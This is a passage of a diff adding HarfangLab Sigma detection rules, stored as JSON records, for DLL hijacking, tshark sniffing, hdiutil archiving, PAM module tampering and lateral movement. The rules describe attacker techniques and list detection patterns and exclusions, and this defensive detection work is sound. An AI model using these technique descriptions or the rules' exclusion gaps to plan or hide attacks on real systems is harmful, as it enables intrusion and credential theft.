Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c076106d-84e0-4b78-bf21-d14cf99dd7ed",
+  "rule_name": "DLL Hijacking via agentservice.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via agentservice.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c07c9535-ed8d-4264-b08e-30fccffbe351",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624328Z",
+  "creation_date": "2026-03-23T11:45:34.624330Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624334Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/fdb6cdb7c66b8164aefb57c4ff88e594f0bae068/atomics/T1040/T1040.md#atomic-test-1---packet-capture-linux-using-tshark-or-tcpdump",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1040_network_sniffing_tshark.yml",
+  "content": "title: Network Sniffed via tshark (Linux)\nid: c07c9535-ed8d-4264-b08e-30fccffbe351\ndescription: |\n    Detects the execution of tshark, a protocol analyzer used to capture and analyze network traffic.\n    It is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\n    It is recommended to check the parent processes for any other suspicious actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/fdb6cdb7c66b8164aefb57c4ff88e594f0bae068/atomics/T1040/T1040.md#atomic-test-1---packet-capture-linux-using-tshark-or-tcpdump\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2022/12/26\nmodified: 2025/11/28\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.Tshark\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.SensitiveInformation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/tshark'\n\n    filter_read_file:\n        CommandLine|contains: ' -r '\n\n    exclusion_container:\n        - ParentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c07c9535-ed8d-4264-b08e-30fccffbe351",
+  "rule_name": "Network Sniffed via tshark (Linux)",
+  "rule_description": "Detects the execution of tshark, a protocol analyzer used to capture and analyze network traffic.\nIt is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\nIt is recommended to check the parent processes for any other suspicious actions.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-11-28",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c086a838-90d0-40da-9f27-b89501f88044",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590480Z",
+  "creation_date": "2026-03-23T11:45:34.590486Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590499Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657",
+    "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mscoree.yml",
+  "content": "title: Unsigned Mscoree.dll Loaded\nid: c086a838-90d0-40da-9f27-b89501f88044\ndescription: |\n    Detects a suspicious unsigned DLL named 'mscoree.dll' loaded by a process that could be a target to DLL hijacking.\n    Adversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657\n    - https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/02/13\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\mscoree.dll'\n        sha256|contains: '?' # at least one character, some SHA256 are empty\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_legitimate:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\System32\\DriverStore\\'\n            - '?:\\Windows\\System32\\mscoree.dll'\n            - '?:\\Windows\\SysWOW64\\mscoree.dll'\n\n    exclusion_known_sha:\n        sha256: '0faaa9992142cb2933fa4112bcd62ba58fc0d8a6ac61bd3f05963bc6e8871c8b' # 10.0.22621.1 (WinBuild.160101.0800)\n\n    exclusion_beyond_compare:\n        Image|endswith: '\\Beyond Compare ?\\BCompare.exe'\n        ImageLoaded|endswith: '\\Beyond Compare ?\\mscoree.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c086a838-90d0-40da-9f27-b89501f88044",
+  "rule_name": "Unsigned Mscoree.dll Loaded",
+  "rule_description": "Detects a suspicious unsigned DLL named 'mscoree.dll' loaded by a process that could be a target to DLL hijacking.\nAdversaries may execute their own malicious payloads by planting a DLL in a specific path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-02-13",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c0d08a4d-f9d0-4017-b346-46c45ddb527a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618416Z",
+  "creation_date": "2026-03-23T11:45:34.618418Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618422Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "t1560_001_dmg_archive_creation_file.yml",
+  "content": "title: Archive Created via hdiutil in a Suspicious Folder\nid: c0d08a4d-f9d0-4017-b346-46c45ddb527a\ndescription: |\n    Detects the creation of an archive file using the hdiutil utility in a folder commonly used by malicious actors.\n    Adversaries may compress and/or encrypt collected data prior to exfiltration.\n    It is recommended to check the processes leading to hdiutil's execution and the content of the archive.\nreferences:\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2024/07/22\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        ProcessImage|endswith: '/hdiutil'\n        ProcessCommandLine|contains: 'create'\n        Path|startswith:\n            - '/Users/shared/'\n            - '/private/var/tmp/'\n            - '/private/tmp/'\n        Kind: 'create'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c0d08a4d-f9d0-4017-b346-46c45ddb527a",
+  "rule_name": "Archive Created via hdiutil in a Suspicious Folder",
+  "rule_description": "Detects the creation of an archive file using the hdiutil utility in a folder commonly used by malicious actors.\nAdversaries may compress and/or encrypt collected data prior to exfiltration.\nIt is recommended to check the processes leading to hdiutil's execution and the content of the archive.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c0f2754a-239d-4e6e-acf2-04f65ab80452",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.665327Z",
+  "creation_date": "2026-03-23T11:45:35.297579Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297583Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1556.003/T1556.003.md",
+    "https://github.com/zephrax/linux-pam-backdoor",
+    "https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9",
+    "https://attack.mitre.org/techniques/T1556/003/"
+  ],
+  "name": "t1556_003_pam_modules_modified_linux.yml",
+  "content": "title: PAM Modules Modified\nid: c0f2754a-239d-4e6e-acf2-04f65ab80452\ndescription: |\n    Detects an attempt to modify a pluggable authentication module (PAM).\n    PAM is a suite of libraries that allows a Linux system administrator to configure methods to authenticate users.\n    Adversaries may modify pluggable authentication modules to access user credentials or to add a backdoor and achieve persistence.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1556.003/T1556.003.md\n    - https://github.com/zephrax/linux-pam-backdoor\n    - https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9\n    - https://attack.mitre.org/techniques/T1556/003/\ndate: 2023/01/06\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1556.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path|startswith: '/etc/pam.d/'\n        - TargetPath|startswith: '/etc/pam.d/'\n    is_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_swap_file:\n        - Path:\n            - '/etc/pam.d/.*.swp'\n            - '/etc/pam.d/.*.swpx'\n        - TargetPath:\n            - '/etc/pam.d/.*.swp'\n            - '/etc/pam.d/.*.swpx'\n\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|startswith: '/usr/bin/perl|/usr/bin/dash|/usr/bin/dpkg|'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf update'\n            - 'dnf install '\n            - '/usr/bin/python?.? /usr/bin/dnf-3 '\n            - '/usr/bin/dnf5 --installroot '\n    exclusion_zypper:\n        ProcessAncestors|startswith:\n            - '/usr/bin/zypper|'\n            - '/usr/bin/bash|/usr/bin/rpm|/usr/bin/zypper|'\n    exclusion_pamac:\n        ProcessImage: '/usr/bin/pamac-daemon'\n\n    exclusion_packagekitd:\n        ProcessImage: '/usr/libexec/packagekitd'\n\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n\n    exclusion_pam_auth_update:\n        # /usr/bin/perl -w /usr/sbin/pam-auth-update --package\n        # /usr/bin/perl -w /usr/sbin/pam-auth-update --package --remove capability\n        # /usr/bin/perl -w /usr/sbin/pam-auth-update --root --package\n        - ProcessCommandLine|startswith: '/usr/bin/perl -w /usr/sbin/pam-auth-update'\n        - ProcessParentCommandLine|startswith: '/usr/bin/perl -w /usr/sbin/pam-auth-update'\n\n    exclusion_dpkg_postinst:\n        ProcessParentCommandLine: '/bin/sh -e /var/lib/dpkg/info/libpam-runtime.postinst configure'\n\n    exclusion_authconfig:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python /sbin/authconfig --updateall '\n            - '/usr/bin/python /usr/sbin/authconfig --update '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/sh -c /usr/sbin/authconfig --update '\n            - '/usr/bin/python /sbin/authconfig --updateall '\n            - '/usr/bin/python /usr/sbin/authconfig --update '\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_sophos:\n        ProcessImage: '/opt/sophos-av/engine/_/savscand.?'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors:\n            - '*|/usr/bin/runc|/usr/bin/dockerd|/usr/lib/systemd/systemd'\n            - '/usr/bin/bash|/snap/docker/*/bin/runc|/snap/docker/*/bin/dockerd|*'\n            - '*|/usr/bin/containerd-shim-runc-v2|/usr/bin/containerd-shim-runc-v2|*'\n\n    exclusion_docker2:\n        ProcessImage: '*/bin/dockerd'\n        ProcessCommandLine: 'docker-applyLayer *'\n\n    exclusion_microdnf:\n        ProcessImage: '/usr/bin/microdnf'\n\n    exclusion_chmod:\n        ProcessImage: '/bin/chmod'\n\n    exclusion_vmware:\n        ProcessCommandLine|contains:\n            - 'vmware-config-tools'\n            - 'vmware-uninstall-tools.pl'\n\n    exclusion_authselect:\n        ProcessImage: '/usr/bin/authselect'\n\n    exclusion_apk:\n        ProcessImage: '/sbin/apk'\n\n    exclusion_podman:\n        ProcessImage:\n            - '/usr/bin/podman'\n            - '/usr/bin/buildah'\n        ProcessCommandLine: 'storage-*'\n\n    exclusion_reconfigure:\n        - ProcessCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n        - ProcessParentCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n\n    exclusion_qemu:\n        ProcessImage: '/usr/bin/qemu-*-static'\n        ProcessParentImage: '/usr/bin/qemu-*-static'\n\n    exclusion_alternatives:\n        ProcessImage:\n            - '/usr/bin/update-alternatives'\n            - '/usr/sbin/alternatives'\n        ProcessCommandLine|startswith:\n            - 'update-alternatives '\n            - '/usr/sbin/alternatives '\n\n    exclusion_deepinstinct:\n        ProcessCommandLine: '/bin/bash /opt/deepinstinct/bin/StaticAnalysisService/start_sa_service.sh'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_realmd:\n        - ProcessParentCommandLine: '/usr/lib64/realmd/realmd'\n        - ProcessGrandparentCommandLine: '/usr/lib64/realmd/realmd'\n\n    exclusion_buildah:\n        ProcessAncestors|startswith: '|/usr/bin/buildah|'\n\n    exclusion_sed1:\n        ProcessImage: '/usr/bin/sed'\n        Path: '/etc/pam.d/sed??????'\n    exclusion_sed2:\n        ProcessImage: '/usr/bin/sed'\n        TargetPath: '/etc/pam.d/sed??????'\n\n    exclusion_chown:\n        ProcessCommandLine: 'chown -R '\n\n    exclusion_rudder:\n        ProcessImage: '/opt/rudder/bin/cf-agent'\n\n    exclusion_puppet:\n        ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_coreutils:\n        ProcessImage: '/usr/bin/coreutils'\n\n    exclusion_nxserver:\n        ProcessParentCommandLine|startswith: '/bin/bash /usr/NX/scripts/setup/nxnode --install'\n\n    exclusion_rsync:\n        ProcessImage: '/usr/bin/rsync'\n\n    exclusion_tar:\n        ProcessImage: '/usr/bin/tar'\n\n    exclusion_plesk:\n        ProcessCommandLine|startswith: '/usr/libexec/platform-python -Estt /usr/local/psa/bin/dnf_install '\n\n    exclusion_nixos:\n        ProcessGrandparentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n\n    condition: selection and not is_read_access and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c0f2754a-239d-4e6e-acf2-04f65ab80452",
+  "rule_name": "PAM Modules Modified",
+  "rule_description": "Detects an attempt to modify a pluggable authentication module (PAM).\nPAM is a suite of libraries that allows a Linux system administrator to configure methods to authenticate users.\nAdversaries may modify pluggable authentication modules to access user credentials or to add a backdoor and achieve persistence.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-01-06",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1556.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c110eda5-b1c7-4bb4-9a9d-8a48bcc98222",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073005Z",
+  "creation_date": "2026-03-23T11:45:34.073007Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073012Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1021/002/",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1047_suspicious_lateral_movement.yml",
+  "content": "title: Suspicious Lateral Movement\nid: c110eda5-b1c7-4bb4-9a9d-8a48bcc98222\ndescription: |\n    Detects a suspicious lateral movement where specifics cmd.exe arguments are used with mixed case.\n    The cmd.exe options /q and /c are commonly used to execute commands but in many offensive tools the two arguments are used with mixed case in a specific order.\n    For example this construction is used by tools such as Impacket, NetExec, CrackMapExec.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://attack.mitre.org/techniques/T1047/\n    - https://attack.mitre.org/techniques/T1021/002/\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2023/12/20\nmodified: 2025/03/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.t1021.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage:\n            - '*\\wmiprvse.exe'\n            - '*\\mmc.exe'\n            - '*\\explorer.exe'\n            - '*\\services.exe'\n            - '*\\svchost.exe'\n            - '*\\taskeng.exe'\n            - '*\\winrshost.exe'\n            - 